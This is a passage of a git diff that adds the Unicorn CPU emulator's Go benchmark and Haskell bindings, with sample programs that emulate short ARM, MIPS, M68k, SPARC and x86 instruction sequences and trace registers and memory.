mmr) + } +} + +func BenchmarkX86Hook(b *testing.B) { + // loop rax times + code := "\x48\xff\xc8\x48\x83\xf8\x00\x0f\x8f\xf3\xff\xff\xff" + mu, err := MakeUc(MODE_64, code) + if err != nil { + b.Fatal(err) + } + count := 0 + mu.HookAdd(HOOK_CODE, func(_ Unicorn, addr uint64, size uint32) { + count++ + }, 1, 0) + mu.RegWrite(X86_REG_RAX, uint64(b.N)) + b.ResetTimer() + if err := mu.Start(ADDRESS, ADDRESS+uint64(len(code))); err != nil { + b.Fatal(err) + } + rax, _ := mu.RegRead(X86_REG_RAX) + if rax != 0 { + b.Errorf("benchmark fell short: rax (%d) != 0", rax) + } + if count != b.N*3 { + b.Fatalf("benchmark fell short: %d < %d", count, b.N) + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/.gitignore b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/.gitignore new file mode 100644 index 0000000..9966d82 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/.gitignore @@ -0,0 +1,24 @@ +dist +cabal-dev +*.o +*.hi +*.chi +*.chs.h +*.dyn_o +*.dyn_hi +.virtualenv +.hpc +.hsenv +.cabal-sandbox/ +cabal.sandbox.config +*.prof +*.aux +*.hp +SampleArm +SampleArm64 +SampleM68k +SampleMips +SampleSparc +SampleX86 +Shellcode +SampleBatchReg diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/README.TXT b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/README.TXT new file mode 100644 index 0000000..93766f6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/README.TXT @@ -0,0 +1,31 @@ +This documentation explains how to install Haskell binding for Unicorn +from source. + + +0. Install the core engine as dependency + + Follow README in the root directory to compile & install the core. + + On *nix, this can simply be done by (project root directory): + + $ sudo ./make.sh install + + +1. Change directories into the Haskell bindings, build and install + + $ cd bindings/haskell + $ cabal install + + +If you are installing into a sandbox, run `cabal sandbox init` before +installing Unicorn's dependencies. + +If the build fails, install c2hs manually `cabal install c2hs` (note that this +will probably also require you to run `cabal install alex` and `cabal install +happy` as well). If you are NOT using a sandbox, ensure that `$HOME/.cabal/bin` +is on your PATH. + +To build a sample (after having built and installed the Haskell bindings) + + $ cd bindings/haskell + $ ghc --make samples/SampleArm.hs diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/Setup.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/Setup.hs new file mode 100644 index 0000000..9a994af --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/Setup.hs @@ -0,0 +1,2 @@ +import Distribution.Simple +main = defaultMain diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm.hs new file mode 100644 index 0000000..37fac09 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm.hs @@ -0,0 +1,134 @@ +-- Sample code to demonstrate how to emulate ARM code + +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.Arm as Arm + +import Data.Bits +import qualified Data.ByteString as BS +import Data.Word +import qualified Numeric as N (showHex) + +-- Code to be emulated +-- +-- mov r0, #0x37; sub r1, r2, r3 +armCode :: BS.ByteString +armCode = BS.pack [0x37, 0x00, 0xa0, 0xe3, 0x03, 0x10, 0x42, 0xe0] + +-- sub sp, #0xc +thumbCode :: BS.ByteString +thumbCode = BS.pack [0x83, 0xb0] + +-- Memory address where emulation starts +address :: Word64 +address = 0x10000 + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex = + flip N.showHex "" + +-- Calculate code length +codeLength :: Num a => BS.ByteString -> a +codeLength = + fromIntegral . BS.length + +hookBlock :: BlockHook () +hookBlock _ addr size _ = + putStrLn $ ">>> Tracing basic block at 0x" ++ showHex addr ++ + ", block size = 0x" ++ (maybe "0" showHex size) + +hookCode :: CodeHook () +hookCode _ addr size _ = + putStrLn $ ">>> Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ (maybe "0" showHex size) + +testArm :: IO () +testArm = do + putStrLn "Emulate ARM code" + + result <- runEmulator $ do + -- Initialize emulator in ARM mode + uc <- open ArchArm [ModeArm] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address armCode + + -- Initialize machine registers + regWrite uc Arm.R0 0x1234 + regWrite uc Arm.R2 0x6789 + regWrite uc Arm.R3 0x3333 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing one instruction at address with customized callback + codeHookAdd uc hookCode () address address + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength armCode + start uc address (address + codeLen) Nothing Nothing + + -- Return the results + r0 <- regRead uc Arm.R0 + r1 <- regRead uc Arm.R1 + + return (r0, r1) + case result of + Right (r0, r1) -> do + -- Now print out some registers + putStrLn ">>> Emulation done. Below is the CPU context" + putStrLn $ ">>> R0 = 0x" ++ showHex r0 + putStrLn $ ">>> R1 = 0x" ++ showHex r1 + Left err -> putStrLn $ "Failed with error: " ++ show err ++ " (" ++ + strerror err ++ ")" + +testThumb :: IO () +testThumb = do + putStrLn "Emulate THUMB code" + + result <- runEmulator $ do + -- Initialize emulator in ARM mode + uc <- open ArchArm [ModeThumb] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address thumbCode + + -- Initialize machine registers + regWrite uc Arm.Sp 0x1234 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing one instruction at address with customized callback + codeHookAdd uc hookCode () address address + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength thumbCode + start uc (address .|. 1) (address + codeLen) Nothing Nothing + + -- Return the results + sp <- regRead uc Arm.Sp + + return sp + case result of + Right sp -> do + -- Now print out some registers + putStrLn ">>> Emulation done. Below is the CPU context" + putStrLn $ ">>> SP = 0x" ++ showHex sp + Left err -> putStrLn $ "Failed with error: " ++ show err ++ " (" ++ + strerror err ++ ")" + +main :: IO () +main = do + testArm + putStrLn "==========================" + testThumb diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm64.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm64.hs new file mode 100644 index 0000000..db1158a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm64.hs @@ -0,0 +1,85 @@ +-- Sample code to demonstrate how to emulate ARM64 code + +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.Arm64 as Arm64 + +import qualified Data.ByteString as BS +import Data.Word +import qualified Numeric as N (showHex) + +-- Code to be emulated +-- +-- add x11, x13, x15 +armCode :: BS.ByteString +armCode = BS.pack [0xab, 0x01, 0x0f, 0x8b] + +-- Memory address where emulation starts +address :: Word64 +address = 0x10000 + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex = + flip N.showHex "" + +-- Calculate code length +codeLength :: Num a => BS.ByteString -> a +codeLength = + fromIntegral . BS.length + +hookBlock :: BlockHook () +hookBlock _ addr size _ = + putStrLn $ ">>> Tracing basic block at 0x" ++ showHex addr ++ + ", block size = 0x" ++ (maybe "0" showHex size) + +hookCode :: CodeHook () +hookCode _ addr size _ = + putStrLn $ ">>> Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ (maybe "0" showHex size) + +testArm64 :: IO () +testArm64 = do + putStrLn "Emulate ARM64 code" + + result <- runEmulator $ do + -- Initialize emulator in ARM mode + uc <- open ArchArm64 [ModeArm] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address armCode + + -- Initialize machine registers + regWrite uc Arm64.X11 0x1234 + regWrite uc Arm64.X13 0x6789 + regWrite uc Arm64.X15 0x3333 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing one instruction at address with customized callback + codeHookAdd uc hookCode () address address + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength armCode + start uc address (address + codeLen) Nothing Nothing + + -- Return the results + x11 <- regRead uc Arm64.X11 + + return x11 + case result of + Right x11 -> do + -- Now print out some registers + putStrLn $ ">>> Emulation done. Below is the CPU context" + putStrLn $ ">>> X11 = 0x" ++ showHex x11 + Left err -> putStrLn $ "Failed with error: " ++ show err ++ " (" ++ + strerror err ++ ")" + +main :: IO () +main = + testArm64 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleBatchReg.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleBatchReg.hs new file mode 100644 index 0000000..9b40b3f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleBatchReg.hs @@ -0,0 +1,99 @@ +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.X86 as X86 + +import Control.Monad.Trans.Class (lift) +import qualified Data.ByteString as BS +import Data.Int +import Data.List (intercalate) +import Data.Word +import qualified Numeric as N (showHex) +import System.IO (hPutStrLn, stderr) + +syscallABI :: [X86.Register] +syscallABI = [ X86.Rax + , X86.Rdi + , X86.Rsi + , X86.Rdx + , X86.R10 + , X86.R8 + , X86.R9 + ] + +vals :: [Int64] +vals = [ 200 + , 10 + , 11 + , 12 + , 13 + , 14 + , 15 + ] + +ucPerror :: Error + -> IO () +ucPerror err = + hPutStrLn stderr $ "Error " ++ ": " ++ strerror err + +base :: Word64 +base = 0x10000 + +-- mov rax, 100; mov rdi, 1; mov rsi, 2; mov rdx, 3; mov r10, 4; mov r8, 5; mov r9, 6; syscall +code :: BS.ByteString +code = BS.pack [ 0x48, 0xc7, 0xc0, 0x64, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc7 + , 0x01, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00 + , 0x00, 0x48, 0xc7, 0xc2, 0x03, 0x00, 0x00, 0x00, 0x49, 0xc7 + , 0xc2, 0x04, 0x00, 0x00, 0x00, 0x49, 0xc7, 0xc0, 0x05, 0x00 + , 0x00, 0x00, 0x49, 0xc7, 0xc1, 0x06, 0x00, 0x00, 0x00, 0x0f + , 0x05 + ] + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex i = + N.showHex (fromIntegral i :: Word64) "" + +-- Write a string (with a newline character) to standard output in the emulator +emuPutStrLn :: String -> Emulator () +emuPutStrLn = + lift . putStrLn + +hookSyscall :: SyscallHook () +hookSyscall uc _ = do + runEmulator $ do + readVals <- regReadBatch uc syscallABI + emuPutStrLn $ "syscall: {" + ++ intercalate ", " (map show readVals) + ++ "}" + return () + +hookCode :: CodeHook () +hookCode _ addr size _ = do + putStrLn $ "HOOK_CODE: 0x" ++ showHex addr ++ ", 0x" ++ + maybe "0" showHex size + +main :: IO () +main = do + result <- runEmulator $ do + uc <- open ArchX86 [Mode64] + + -- regWriteBatch + emuPutStrLn "regWriteBatch {200, 10, 11, 12, 13, 14, 15}" + regWriteBatch uc syscallABI vals + + readVals <- regReadBatch uc syscallABI + + emuPutStrLn $ "regReadBatch = {" + ++ intercalate ", " (map show readVals) + ++ "}" + + -- syscall + emuPutStrLn "running syscall shellcode" + syscallHookAdd uc hookSyscall () 1 0 + memMap uc base (0x1000) [ProtAll] + memWrite uc base code + let codeLen = fromIntegral $ BS.length code + start uc base (base + codeLen) Nothing Nothing + case result of + Right _ -> return () + Left err -> ucPerror err diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleM68k.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleM68k.hs new file mode 100644 index 0000000..d77f4cf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleM68k.hs @@ -0,0 +1,142 @@ +-- Sample code to demonstrate how to emulate m68k code + +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.M68k as M68k + +import qualified Data.ByteString as BS +import Data.Word +import qualified Numeric as N (showHex) + +-- Code to be emulated +-- +-- movq #-19, %d3 +m68kCode :: BS.ByteString +m68kCode = BS.pack [0x76, 0xed] + +-- Memory address where emulation starts +address :: Word64 +address = 0x10000 + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex = + flip N.showHex "" + +-- Calculate code length +codeLength :: Num a => BS.ByteString -> a +codeLength = + fromIntegral . BS.length + +hookBlock :: BlockHook () +hookBlock _ addr size _ = + putStrLn $ ">>> Tracing basic block at 0x" ++ showHex addr ++ + ", block size = 0x" ++ (maybe "0" showHex size) + +hookCode :: CodeHook () +hookCode _ addr size _ = + putStrLn $ ">>> Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ (maybe "0" showHex size) + +testM68k :: IO () +testM68k = do + putStrLn "Emulate M68K code" + + result <- runEmulator $ do + -- Initialize emulator in M68K mode + uc <- open ArchM68k [ModeBigEndian] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address m68kCode + + -- Initialize machine registers + regWrite uc M68k.D0 0x0000 + regWrite uc M68k.D1 0x0000 + regWrite uc M68k.D2 0x0000 + regWrite uc M68k.D3 0x0000 + regWrite uc M68k.D4 0x0000 + regWrite uc M68k.D5 0x0000 + regWrite uc M68k.D6 0x0000 + regWrite uc M68k.D7 0x0000 + + regWrite uc M68k.A0 0x0000 + regWrite uc M68k.A1 0x0000 + regWrite uc M68k.A2 0x0000 + regWrite uc M68k.A3 0x0000 + regWrite uc M68k.A4 0x0000 + regWrite uc M68k.A5 0x0000 + regWrite uc M68k.A6 0x0000 + regWrite uc M68k.A7 0x0000 + + regWrite uc M68k.Pc 0x0000 + regWrite uc M68k.Sr 0x0000 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instruction + codeHookAdd uc hookCode () 1 0 + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength m68kCode + start uc address (address + codeLen) Nothing Nothing + + -- Return the results + d0 <- regRead uc M68k.D0 + d1 <- regRead uc M68k.D1 + d2 <- regRead uc M68k.D2 + d3 <- regRead uc M68k.D3 + d4 <- regRead uc M68k.D4 + d5 <- regRead uc M68k.D5 + d6 <- regRead uc M68k.D6 + d7 <- regRead uc M68k.D7 + + a0 <- regRead uc M68k.A0 + a1 <- regRead uc M68k.A1 + a2 <- regRead uc M68k.A2 + a3 <- regRead uc M68k.A3 + a4 <- regRead uc M68k.A4 + a5 <- regRead uc M68k.A5 + a6 <- regRead uc M68k.A6 + a7 <- regRead uc M68k.A7 + + pc <- regRead uc M68k.Pc + sr <- regRead uc M68k.Sr + + return (d0, d1, d2, d3, d4, d5, d6, d7, + a0, a1, a2, a3, a4, a5, a6, a7, + pc, sr) + case result of + Right (d0, d1, d2, d3, d4, d5, d6, d7, + a0, a1, a2, a3, a4, a5, a6, a7, + pc, sr) -> do + -- Now print out some registers + putStrLn ">>> Emulation done. Below is the CPU context" + putStrLn $ ">>> A0 = 0x" ++ showHex a0 ++ + "\t\t>>> D0 = 0x" ++ showHex d0 + putStrLn $ ">>> A1 = 0x" ++ showHex a1 ++ + "\t\t>>> D1 = 0x" ++ showHex d1 + putStrLn $ ">>> A2 = 0x" ++ showHex a2 ++ + "\t\t>>> D2 = 0x" ++ showHex d2 + putStrLn $ ">>> A3 = 0x" ++ showHex a3 ++ + "\t\t>>> D3 = 0x" ++ showHex d3 + putStrLn $ ">>> A4 = 0x" ++ showHex a4 ++ + "\t\t>>> D4 = 0x" ++ showHex d4 + putStrLn $ ">>> A5 = 0x" ++ showHex a5 ++ + "\t\t>>> D5 = 0x" ++ showHex d5 + putStrLn $ ">>> A6 = 0x" ++ showHex a6 ++ + "\t\t>>> D6 = 0x" ++ showHex d6 + putStrLn $ ">>> A7 = 0x" ++ showHex a7 ++ + "\t\t>>> D7 = 0x" ++ showHex d7 + putStrLn $ ">>> PC = 0x" ++ showHex pc + putStrLn $ ">>> SR = 0x" ++ showHex sr + Left err -> putStrLn $ "Failed with error: " ++ show err ++ " (" ++ + strerror err ++ ")" + +main :: IO () +main = + testM68k diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleMips.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleMips.hs new file mode 100644 index 0000000..83efdbd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleMips.hs @@ -0,0 +1,129 @@ +-- Sample code to demonstrate how to emulate Mips code (big endian) + +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.Mips as Mips + +import qualified Data.ByteString as BS +import Data.Word +import qualified Numeric as N (showHex) + +-- Code to be emulated +-- +-- ori $at, $at, 0x3456 +mipsCodeEb :: BS.ByteString +mipsCodeEb = BS.pack [0x34, 0x21, 0x34, 0x56] + +-- ori $at, $at, 0x3456 +mipsCodeEl :: BS.ByteString +mipsCodeEl = BS.pack [0x56, 0x34, 0x21, 0x34] + +-- Memory address where emulation starts +address :: Word64 +address = 0x10000 + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex = + flip N.showHex "" + +-- Calculate code length +codeLength :: Num a => BS.ByteString -> a +codeLength = + fromIntegral . BS.length + +hookBlock :: BlockHook () +hookBlock _ addr size _ = + putStrLn $ ">>> Tracing basic block at 0x" ++ showHex addr ++ + ", block size = 0x" ++ (maybe "0" showHex size) + +hookCode :: CodeHook () +hookCode _ addr size _ = + putStrLn $ ">>> Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ (maybe "0" showHex size) + +testMipsEb :: IO () +testMipsEb = do + putStrLn "Emulate MIPS code (big-endian)" + + result <- runEmulator $ do + -- Initialize emulator in MIPS mode + uc <- open ArchMips [ModeMips32, ModeBigEndian] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address mipsCodeEb + + -- Initialise machine registers + regWrite uc Mips.Reg1 0x6789 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing one instruction at address with customized callback + codeHookAdd uc hookCode () address address + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength mipsCodeEb + start uc address (address + codeLen) Nothing Nothing + + -- Return the results + r1 <- regRead uc Mips.Reg1 + + return r1 + case result of + Right r1 -> do + -- Now print out some registers + putStrLn ">>> Emulation done. Below is the CPU context" + putStrLn $ ">>> R1 = 0x" ++ showHex r1 + Left err -> putStrLn $ "Failed with error: " ++ show err ++ " (" ++ + strerror err ++ ")" + +testMipsEl :: IO () +testMipsEl = do + putStrLn "===========================" + putStrLn "Emulate MIPS code (little-endian)" + + result <- runEmulator $ do + -- Initialize emulator in MIPS mode + uc <- open ArchMips [ModeMips32, ModeLittleEndian] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address mipsCodeEl + + -- Initialize machine registers + regWrite uc Mips.Reg1 0x6789 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing one instruction at address with customized callback + codeHookAdd uc hookCode () address address + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength mipsCodeEl + start uc address (address + codeLen) Nothing Nothing + + -- Return the results + r1 <- regRead uc Mips.Reg1 + + return r1 + case result of + Right r1 -> do + -- Now print out some registers + putStrLn ">>> Emulation done. Below is the CPU context" + putStrLn $ ">>> R1 = 0x" ++ showHex r1 + Left err -> putStrLn $ "Failed with error: " ++ show err ++ " (" ++ + strerror err ++ ")" + +main :: IO () +main = do + testMipsEb + testMipsEl diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleSparc.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleSparc.hs new file mode 100644 index 0000000..02a0984 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleSparc.hs @@ -0,0 +1,85 @@ +-- Sample code to demonstrate how to emulate Sparc code + +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.Sparc as Sparc + +import qualified Data.ByteString as BS +import Data.Word +import qualified Numeric as N (showHex) + +-- Code to be emulated +-- +-- add %g1, %g2, %g3 +sparcCode :: BS.ByteString +sparcCode = BS.pack [0x86, 0x00, 0x40, 0x02] + +-- Memory address where emulation starts +address :: Word64 +address = 0x10000 + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex = + flip N.showHex "" + +-- Calculate code length +codeLength :: Num a => BS.ByteString -> a +codeLength = + fromIntegral . BS.length + +hookBlock :: BlockHook () +hookBlock _ addr size _ = + putStrLn $ ">>> Tracing basic block at 0x" ++ showHex addr ++ + ", block size = 0x" ++ (maybe "0" showHex size) + +hookCode :: CodeHook () +hookCode _ addr size _ = + putStrLn $ ">>> Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ (maybe "0" showHex size) + +testSparc :: IO () +testSparc = do + putStrLn "Emulate SPARC code" + + result <- runEmulator $ do + -- Initialize emulator in Sparc mode + uc <- open ArchSparc [ModeSparc32, ModeBigEndian] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address sparcCode + + -- Initialize machine registers + regWrite uc Sparc.G1 0x1230 + regWrite uc Sparc.G2 0x6789 + regWrite uc Sparc.G3 0x5555 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instructions with customized callback + codeHookAdd uc hookCode () 1 0 + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength sparcCode + start uc address (address + codeLen) Nothing Nothing + + -- Return results + g3 <- regRead uc Sparc.G3 + + return g3 + case result of + Right g3 -> do + -- Now print out some registers + putStrLn ">>> Emulation done. Below is the CPU context" + putStrLn $ ">>> G3 = 0x" ++ showHex g3 + Left err -> putStrLn $ "Failed with error: " ++ show err ++ " (" ++ + strerror err ++ ")" + +main :: IO () +main = + testSparc diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleX86.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleX86.hs new file mode 100644 index 0000000..5f4640e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleX86.hs @@ -0,0 +1,744 @@ +-- Sample code to demonstrate how to emulate X86 code + +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.X86 as X86 + +import Control.Monad.Trans.Class (lift) +import qualified Data.ByteString as BS +import Data.Word +import qualified Numeric as N (showHex) +import System.Environment + +-- Code to be emulated +-- +-- inc ecx; dec edx +x86Code32 :: BS.ByteString +x86Code32 = BS.pack [0x41, 0x4a] + +-- jmp 4; nop; nop; nop; nop; nop; nop +x86Code32Jump :: BS.ByteString +x86Code32Jump = BS.pack [0xeb, 0x02, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90] + +-- inc ecx; dec edx; jmp self-loop +x86Code32Loop :: BS.ByteString +x86Code32Loop = BS.pack [0x41, 0x4a, 0xeb, 0xfe] + +-- mov [0xaaaaaaaa], ecx; inc ecx; dec edx +x86Code32MemWrite :: BS.ByteString +x86Code32MemWrite = BS.pack [0x89, 0x0d, 0xaa, 0xaa, 0xaa, 0xaa, 0x41, 0x4a] + +-- mov ecx, [0xaaaaaaaa]; inc ecx; dec edx +x86Code32MemRead :: BS.ByteString +x86Code32MemRead = BS.pack [0x8b, 0x0d, 0xaa, 0xaa, 0xaa, 0xaa, 0x41, 0x4a] + +-- jmp ouside; inc ecx; dec edx +x86Code32JmpInvalid :: BS.ByteString +x86Code32JmpInvalid = BS.pack [0xe9, 0xe9, 0xee, 0xee, 0xee, 0x41, 0x4a] + +-- inc ecx; in al, 0x3f; dec edx; out 0x46, al; inc ebx +x86Code32InOut :: BS.ByteString +x86Code32InOut = BS.pack [0x41, 0xe4, 0x3f, 0x4a, 0xe6, 0x46, 0x43] + +-- inc eax +x86Code32Inc :: BS.ByteString +x86Code32Inc = BS.pack [0x40] + +x86Code64 :: BS.ByteString +x86Code64 = BS.pack [0x41, 0xbc, 0x3b, 0xb0, 0x28, 0x2a, 0x49, 0x0f, 0xc9, + 0x90, 0x4d, 0x0f, 0xad, 0xcf, 0x49, 0x87, 0xfd, 0x90, + 0x48, 0x81, 0xd2, 0x8a, 0xce, 0x77, 0x35, 0x48, 0xf7, + 0xd9, 0x4d, 0x29, 0xf4, 0x49, 0x81, 0xc9, 0xf6, 0x8a, + 0xc6, 0x53, 0x4d, 0x87, 0xed, 0x48, 0x0f, 0xad, 0xd2, + 0x49, 0xf7, 0xd4, 0x48, 0xf7, 0xe1, 0x4d, 0x19, 0xc5, + 0x4d, 0x89, 0xc5, 0x48, 0xf7, 0xd6, 0x41, 0xb8, 0x4f, + 0x8d, 0x6b, 0x59, 0x4d, 0x87, 0xd0, 0x68, 0x6a, 0x1e, + 0x09, 0x3c, 0x59] + +-- add byte ptr [bx + si], al +x86Code16 :: BS.ByteString +x86Code16 = BS.pack [0x00, 0x00] + +-- SYSCALL +x86Code64Syscall :: BS.ByteString +x86Code64Syscall = BS.pack [0x0f, 0x05] + +-- Memory address where emulation starts +address :: Word64 +address = 0x1000000 + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex i = + N.showHex (fromIntegral i :: Word64) "" + +-- Pretty-print byte string as hex +showHexBS :: BS.ByteString -> String +showHexBS = + concatMap (flip N.showHex "") . reverse . BS.unpack + +-- Write a string (with a newline character) to standard output in the emulator +emuPutStrLn :: String -> Emulator () +emuPutStrLn = + lift . putStrLn + +-- Calculate code length +codeLength :: Num a => BS.ByteString -> a +codeLength = + fromIntegral . BS.length + +-- Callback for tracing basic blocks +hookBlock :: BlockHook () +hookBlock _ addr size _ = + putStrLn $ ">>> Tracing basic block at 0x" ++ showHex addr ++ + ", block size = 0x" ++ (maybe "0" showHex size) + +-- Callback for tracing instruction +hookCode :: CodeHook () +hookCode uc addr size _ = do + runEmulator $ do + emuPutStrLn $ ">>> Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ maybe "0" showHex size + + eflags <- regRead uc X86.Eflags + emuPutStrLn $ ">>> --- EFLAGS is 0x" ++ showHex eflags + return () + +-- Callback for tracing instruction +hookCode64 :: CodeHook () +hookCode64 uc addr size _ = do + runEmulator $ do + rip <- regRead uc X86.Rip + emuPutStrLn $ ">>> Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ (maybe "0" showHex size) + emuPutStrLn $ ">>> RIP is 0x" ++ showHex rip + return () + +-- Callback for tracing memory access (READ or WRITE) +hookMemInvalid :: MemoryEventHook () +hookMemInvalid uc MemWriteUnmapped addr size (Just value) _ = do + runEmulator $ do + emuPutStrLn $ ">>> Missing memory is being WRITE at 0x" ++ + showHex addr ++ ", data size = " ++ show size ++ + ", data value = 0x" ++ showHex value + memMap uc 0xaaaa0000 (2 * 1024 * 1024) [ProtAll] + return True +hookMemInvalid _ _ _ _ _ _ = + return False + +hookMem64 :: MemoryHook () +hookMem64 _ MemRead addr size _ _ = + putStrLn $ ">>> Memory is being READ at 0x" ++ showHex addr ++ + ", data size = " ++ show size +hookMem64 _ MemWrite addr size (Just value) _ = + putStrLn $ ">>> Memory is being WRITE at 0x" ++ showHex addr ++ + ", data size = " ++ show size ++ ", data value = 0x" ++ + showHex value + +-- Callback for IN instruction (X86) +-- This returns the data read from the port +hookIn :: InHook () +hookIn uc port size _ = do + result <- runEmulator $ do + eip <- regRead uc X86.Eip + + emuPutStrLn $ "--- reading from port 0x" ++ showHex port ++ + ", size: " ++ show size ++ ", address: 0x" ++ showHex eip + + case size of + -- Read 1 byte to AL + 1 -> return 0xf1 + -- Read 2 byte to AX + 2 -> return 0xf2 + -- Read 4 byte to EAX + 4 -> return 0xf4 + -- Should never reach this + _ -> return 0 + case result of + Right r -> return r + Left _ -> return 0 + +-- Callback for OUT instruction (X86) +hookOut :: OutHook () +hookOut uc port size value _ = do + runEmulator $ do + eip <- regRead uc X86.Eip + + emuPutStrLn $ "--- writing to port 0x" ++ showHex port ++ ", size: " ++ + show size ++ ", value: 0x" ++ showHex value ++ + ", address: 0x" ++ showHex eip + + -- Confirm that value is indeed the value of AL/AX/EAX + case size of + 1 -> do + tmp <- regRead uc X86.Al + emuPutStrLn $ "--- register value = 0x" ++ showHex tmp + 2 -> do + tmp <- regRead uc X86.Ax + emuPutStrLn $ "--- register value = 0x" ++ showHex tmp + 4 -> do + tmp <- regRead uc X86.Eax + emuPutStrLn $ "--- register value = 0x" ++ showHex tmp + -- Should never reach this + _ -> return () + return () + +-- Callback for SYSCALL instruction (X86) +hookSyscall :: SyscallHook () +hookSyscall uc _ = do + runEmulator $ do + rax <- regRead uc X86.Rax + if rax == 0x100 then + regWrite uc X86.Rax 0x200 + else + emuPutStrLn $ "ERROR: was not expecting rax=0x" ++ showHex rax ++ + " in syscall" + return () + +testI386 :: IO () +testI386 = do + putStrLn "Emulate i386 code" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open 